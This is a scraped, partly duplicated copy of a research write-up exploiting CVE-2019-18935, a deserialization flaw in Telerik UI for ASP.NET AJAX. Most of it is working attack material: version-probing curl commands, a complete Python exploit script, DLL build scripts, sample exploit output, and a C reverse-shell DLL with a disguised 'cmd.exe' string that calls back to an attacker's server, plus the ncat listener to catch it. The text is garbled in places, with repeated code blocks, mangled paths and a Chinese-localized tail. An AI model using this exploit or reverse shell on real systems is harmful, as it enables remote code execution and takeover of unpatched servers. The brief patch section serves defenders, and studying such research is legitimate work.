CVE-2019-18935 通过Telerik UI中的不安全反序列化进行远程代码执行

curl -sk <HOST>/Telerik.Web.UI.WebResource.axd?type=rau{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }

curl -skL <HOST> | grep -oE '20[0-9]{2}(.[0-9]*)+'

When the file upload succeeds, you'll see a JSON response containing some encrypted data about the uploaded file:
{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }Now that you’ve verified that the handler is registered and the software is using a vulnerable version, you can proceed to exploit the vulnerability.
Verify Deserialization Vulnerability with Sleep()In preparing to fully compromise a remote host with a reverse shell, you can initially verify the deserialization vulnerability by uploading and loading a simple mixed mode assembly DLL that causes the web application to sleep for 10 seconds. A simple program, sleep.c, will do just that.
Note that I use C, rather than C++, because I've encountered rare occasions where I was unable to execute compiled C++ code on a remote server. I suspect that this is because the target environment did not have the Microsoft Visual C++ Redistributable installed.
sleep.c
#include <windows.h>#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){    if (fdwReason == DLL_PROCESS_ATTACH)        Sleep(10000);  // Time interval in milliseconds.    return TRUE;}Create a bare C# class in empty.cs to constitute the managed portion of your mixed mode assembly:
class Empty {}Then, in a Windows environment with Visual Studio installed, open a command prompt and run build_dll.bat sleep.c: build_dll.bat
@echo off
set PROGRAM=%1set BASENAME=%PROGRAM:~0,-2%
for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do (    set YYYY=%%c    set MM=%%a    set DD=%%b)for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do (    set HH=%%a    set MI=%%b    set SS=%%c    set FF=%%d)set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%
@echo on
for %%a in (x86 amd64) do (    setlocal    call "C:Program Files (x86)Microsoft Visual Studio2019CommunityVCAuxiliaryBuildvcvarsall.bat" %%a    csc /target:module empty.cs    cl /c %PROGRAM%    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule    del %BASENAME%.obj empty.netmodule    endlocal)
This batch script accomplishes the following:
Sets environment variables to compile both 32- and 64-bit codeCompiles the empty.cs C# program as a .netmodule file (without generating an assembly)Compiles the specified C program (sleep.c, in this case) as an .obj file (without linking)Links the compiled .netmodule and .obj files, which creates a mixed mode assembly DLL with a unique nameA Cautionary Note About Assembly NamesThe assembly's name as specified in link /out is baked into the assembly's manifest, and will persist even if the file name changes on disk. It's crucial that the assembly is uniquely named at linking time since a .NET application will only load an assembly once with a given name. This means that an assembly "sleep_123.dll" may cause the application to sleep the first time that DLL is loaded through deserialization, but it certainly won't successfully load again; you'll need to rerun build_dll.bat to generate a new assembly for each exploit attempt on the same server.
Before uploading the DLL, it's important to understand what's going to happen on disk on the remote server. RadAsyncUpload will upload your file to a temporary directory whose location is under your control. If you happen to upload two files with the same name (we're talking about file names on disk, not assembly names in a manifest), RadAsyncUpload will append (not overwrite!) the new file to the old one. If the application attempts to load the resulting malformed DLL, it can cause the application to crash—so it's extremely important that you use a unique file name each time you upload a file to the target.
ExploitThe following exploit script leverages the core RadAsyncUpload encryption logic provided by Paul Taylor's RAU_crypto.py to craft an encrypted rauPostData POST parameter; this enables access to the vulnerable AsyncUploadHandler class through which we can upload files and deserialize arbitrary object types. This script also ensures that each uploaded file has a unique name on disk.
CVE-2019-18935.py
#!/usr/bin/env python3
# Import encryption routines.from sys import pathpath.insert(1, 'RAU_crypto')from RAU_crypto import RAUCipher
from argparse import ArgumentParserfrom json import dumps, loadsfrom os.path import basename, splitextfrom pprint import pprintfrom requests import postfrom requests.packages.urllib3 import disable_warningsfrom sys import stderrfrom time import timefrom urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files):    response = post(url, files=files, verify=False)    try:        result = loads(response.text)        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))        pprint(result)    except:  print(response.text)
def build_raupostdata(object, type):    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
    # Build rauPostData.    object = {        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version),        'MaxFileSize': 0,        'TimeToLive': {            'Ticks': 1440000000000,            'Days': 0,            'Hours': 40,            'Minutes': 0,            'Seconds': 0,            'Milliseconds': 0,            'TotalDays': 1.6666666666666666,            'TotalHours': 40,            'TotalMinutes': 2400,            'TotalSeconds': 144000,            'TotalMilliseconds': 144000000        },        'UseApplicationPoolImpersonation': False    }    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'    raupostdata = build_raupostdata(object, type)
    with open(filename_local, 'rb') as f:        payload = f.read()
    metadata = {        'TotalChunks': 1,        'ChunkIndex': 0,        'TotalFileSize': 1,        'UploadID': filename_remote  # Determines remote filename on disk.    }
    # Build multipart form data.    files = {        'rauPostData': (None, raupostdata),        'file': (filename_remote, payload, 'application/octet-stream'),        'fileName': (None, filename_remote),        'contentType': (None, 'application/octet-stream'),        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),        'metadata': (None, dumps(metadata))    }
    # Send request.    print('[*] Local payload name: ', filename_local, file=stderr)    print('[*] Destination folder: ', temp_target_folder, file=stderr)    print('[*] Remote payload name:', filename_remote, file=stderr)    print(file=stderr)    send_request(files)
def deserialize():
    # Build rauPostData.    object = {        'Path': 'file:///' + temp_target_folder.replace('\', '/') + '/' + filename_remote    }    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'    raupostdata = build_raupostdata(object, type)
    # Build multipart form data.    files = {        'rauPostData': (None, raupostdata),  # Only need this now.        '': ''  # One extra input is required for the page to process the request.    }
    # Send request.    print('n[*] Triggering deserialization...n', file=stderr)    start = time()    send_request(files)    end = time()    print('n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':    parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")    parser.add_argument('-v', dest='version', required=True, help='software version')    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')    args = parser.parse_args()
    temp_target_folder = args.folder.replace('/', '\')    version = args.version    filename_local = args.payload    filename_remote = str(time()) + splitext(basename(filename_local))[1]    url = args.url
    upload()
    if not args.test_upload:        deserialize()Without being able to remotely determine the architecture of the web server's underlying host, you may need to attempt to trigger this vulnerability with both the 32- and 64-bit DLL versions until you find one that works. Invoke the script as follows:
python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p sleep_2019121205271355_x86.dll
[*] Local payload name:  sleep_2019121205271355_x86.dll[*] Destination folder:  C:WindowsTemp[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,              'ContentType': 'application/octet-stream',              'DateJson': '1970-01-01T00:00:00.000Z',              'FileName': '1576142987.918625.dll',              'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '                                     'Telerik.Web.UI, Version=<VERSION>, '                                     'Culture=neutral, '                                     'PublicKeyToken=<TOKEN>',              'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title><span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1><h2> <i>Runtime Error</i> </h2></span>...omitted for brevity...
[*] Response time: 13.01 secondsIf the application pauses for approximately 10 seconds before responding, you've got a working deserialization exploit!
Exploit with Reverse ShellNow that we've verified that we can exploit this vulnerable version of Telerik UI for ASP.NET AJAX, we can instead exploit it with a DLL that spawns a reverse shell to connect back to a server that we control. We use rev_shell.c below, a program that launches a reverse shell as a thread when the DLL is loaded; the threaded nature of this program prevents the shell process from blocking the web application's user interface while running: rev_shell.c
#include <winsock2.h>#include <stdio.h>#include <windows.h>
#pragma comment(lib, "ws2_32")
#define HOST "<HOST>"#define PORT <PORT>
WSADATA wsaData;SOCKET Winsock;SOCKET Sock;struct sockaddr_in hax;char aip_addr[16];STARTUPINFO ini_processo;PROCESS_INFORMATION processo_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.cvoid ReverseShell(){    WSAStartup(MAKEWORD(2, 2), &wsaData);    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    struct hostent *host = gethostbyname(HOST);    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    hax.sin_family = AF_INET;    hax.sin_port = htons(PORT);    hax.sin_addr.s_addr = inet_addr(aip_addr);
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);    if (WSAGetLastError() == 0) {
        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb = sizeof(ini_processo);        ini_processo.dwFlags = STARTF_USESTDHANDLES;        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        char *myArray[4] = { "cm", "d.e", "x", "e" };        char command[8] = "";        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);    }}
DWORD WINAPI MainThread(LPVOID lpParam){    ReverseShell();    return 0;}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {    HANDLE hThread;
    if (fdwReason == DLL_PROCESS_ATTACH)        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
    return TRUE;}Modify rev_shell.c with the hostname and port of the C2 server where you'll be listening for a callback:sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.cUsing the same method of compiling and linking described above, generate your mixed mode assembly DLL:build_dll.bat rev_shell.cOpen a Netcat listener to catch the callback:sudo ncat -lvp <PORT>Then upload and load your DLL!python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p rev_shell_2019121205271355_x86.dll
How to PatchThe Telerik security advisory tells you what you need to know, but we’ll repeat the most important parts here:
Upgrade Telerik for ASP.NET AJAX to R3 2019 SP1 (v2019.3.1023) or later.Read Telerik's RadAsyncUpload security guide in its entirety, and configure the control according to the recommended security settings.ConclusionThis write-up has demonstrated how an attacker can chain exploits for unrestricted file upload (CVE-2017-11317) and insecure deserialization (CVE-2019-18935) vulnerabilities to execute arbitrary code on a remote machine.
In recent years, insecure deserialization has emerged as an effective attack vector for executing arbitrary code in object-oriented programming frameworks. As we continue to identify and understand this class of vulnerabilities, it’s important that vendors and users employ timely communication to combat the risk posed by vulnerable software. Now that Telerik has released a patch and security advisory for this vulnerability, affected users should do their part by updating and securely configuring their applications.
Big thanks again to Markus Wulftange (@mwulftange) and Paul Taylor (@bao7uo), both of whom paved the way for this work through their prior research.
SHAREINDEXContentsVulnerability DetailsOverview of Vulnerabilities in RadAsyncUploadCVE-2017-11317Unrestricted File Upload via Weak EncryptionCVE-2019-18935Remote Code Execution via Insecure DeserializationOK, What's a Mixed Mode Assembly?CVE-2019-18935 Exploit DetailsIdentify Software VersionWithout AuthenticationWith AuthenticationVerify Deserialization Vulnerability with Sleep()A Cautionary Note About Assembly NamesExploitExploit with Reverse ShellHow to PatchConclusionKEYWORDSResearch - TelerikEmerging ThreatsExploitsRELATED CONTENTTECH BLOGReasonably Secure ElectronTECH BLOGRMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code ExecutionTECH BLOGGadgetProbe: Exploiting Deserialization to Brute-Force the 

{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }

#include <windows.h>#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved){    if (fdwReason == DLL_PROCESS_ATTACH)        Sleep(10000);  // Time interval in milliseconds.    return TRUE;}

class Empty {}

@echo off
set PROGRAM=%1set BASENAME=%PROGRAM:~0,-2%
for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do (    set YYYY=%%c    set MM=%%a    set DD=%%b)for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do (    set HH=%%a    set MI=%%b    set SS=%%c    set FF=%%d)set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%
@echo on
for %%a in (x86 amd64) do (    setlocal    call "C:Program Files (x86)Microsoft Visual Studio2019CommunityVCAuxiliaryBuildvcvarsall.bat" %%a    csc /target:module empty.cs    cl /c %PROGRAM%    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule    del %BASENAME%.obj empty.netmodule    endlocal)

#!/usr/bin/env python3
# Import encryption routines.from sys import pathpath.insert(1, 'RAU_crypto')from RAU_crypto import RAUCipher
from argparse import ArgumentParserfrom json import dumps, loadsfrom os.path import basename, splitextfrom pprint import pprintfrom requests import postfrom requests.packages.urllib3 import disable_warningsfrom sys import stderrfrom time import timefrom urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files):    response = post(url, files=files, verify=False)    try:        result = loads(response.text)        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))        pprint(result)    except:  print(response.text)
def build_raupostdata(object, type):    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
    # Build rauPostData.    object = {        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version),        'MaxFileSize': 0,        'TimeToLive': {            'Ticks': 1440000000000,            'Days': 0,            'Hours': 40,            'Minutes': 0,            'Seconds': 0,            'Milliseconds': 0,            'TotalDays': 1.6666666666666666,            'TotalHours': 40,            'TotalMinutes': 2400,            'TotalSeconds': 144000,            'TotalMilliseconds': 144000000        },        'UseApplicationPoolImpersonation': False    }    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'    raupostdata = build_raupostdata(object, type)
    with open(filename_local, 'rb') as f:        payload = f.read()
    metadata = {        'TotalChunks': 1,        'ChunkIndex': 0,        'TotalFileSize': 1,        'UploadID': filename_remote  # Determines remote filename on disk.    }
    # Build multipart form data.    files = {        'rauPostData': (None, raupostdata),        'file': (filename_remote, payload, 'application/octet-stream'),        'fileName': (None, filename_remote),        'contentType': (None, 'application/octet-stream'),        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),        'metadata': (None, dumps(metadata))    }
    # Send request.    print('[*] Local payload name: ', filename_local, file=stderr)    print('[*] Destination folder: ', temp_target_folder, file=stderr)    print('[*] Remote payload name:', filename_remote, file=stderr)    print(file=stderr)    send_request(files)
def deserialize():
    # Build rauPostData.    object = {        'Path': 'file:///' + temp_target_folder.replace('\', '/') + '/' + filename_remote    }    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'    raupostdata = build_raupostdata(object, type)
    # Build multipart form data.    files = {        'rauPostData': (None, raupostdata),  # Only need this now.        '': ''  # One extra input is required for the page to process the request.    }
    # Send request.    print('n[*] Triggering deserialization...n', file=stderr)    start = time()    send_request(files)    end = time()    print('n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':    parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")    parser.add_argument('-v', dest='version', required=True, help='software version')    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')    args = parser.parse_args()
    temp_target_folder = args.folder.replace('/', '\')    version = args.version    filename_local = args.payload    filename_remote = str(time()) + splitext(basename(filename_local))[1]    url = args.url
    upload()
    if not args.test_upload:        deserialize()

python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:WindowsTemp' -p sleep_2019121205271355_x86.dll
[*] Local payload name:  sleep_2019121205271355_x86.dll[*] Destination folder:  C:WindowsTemp[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,              'ContentType': 'application/octet-stream',              'DateJson': '1970-01-01T00:00:00.000Z',              'FileName': '1576142987.918625.dll',              'Index': 0}, 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '                                     'Telerik.Web.UI, Version=<VERSION>, '                                     'Culture=neutral, '                                     'PublicKeyToken=<TOKEN>',              'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title><span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1><h2> <i>Runtime Error</i> </h2></span>...omitted for brevity...
[*] Response time: 13.01 seconds

#include <winsock2.h>#include <stdio.h>#include <windows.h>
#pragma comment(lib, "ws2_32")
#define HOST "<HOST>"#define PORT <PORT>
WSADATA wsaData;SOCKET Winsock;SOCKET Sock;struct sockaddr_in hax;char aip_addr[16];STARTUPINFO ini_processo;PROCESS_INFORMATION processo_info;
// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.cvoid ReverseShell(){    WSAStartup(MAKEWORD(2, 2), &wsaData);    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    struct hostent *host = gethostbyname(HOST);    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    hax.sin_family = AF_INET;    hax.sin_port = htons(PORT);    hax.sin_addr.s_addr = inet_addr(aip_addr);
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);    if (WSAGetLastError() == 0) {
        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb = sizeof(ini_processo);        ini_processo.dwFlags = STARTF_USESTDHANDLES;        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        char *myArray[4] = { "cm", "d.e", "x", "e" };        char command[8] = "";        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);    }}
DWORD WINAPI MainThread(LPVOID lpParam){    ReverseShell();    return 0;}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {    HANDLE hThread;
    if (fdwReason == DLL_PROCESS_ATTACH)        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);
    return TRUE;}

sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c

build_dll.bat rev_shell.c

udo ncat -lvp <端口>

python3 CVE-2019-18935.py -u <主机> /Telerik.Web.UI.WebResource.axd?type=rau -v <版本> -f'C： Windows  Temp'-p rev_shell_2019121205271355_x86.dll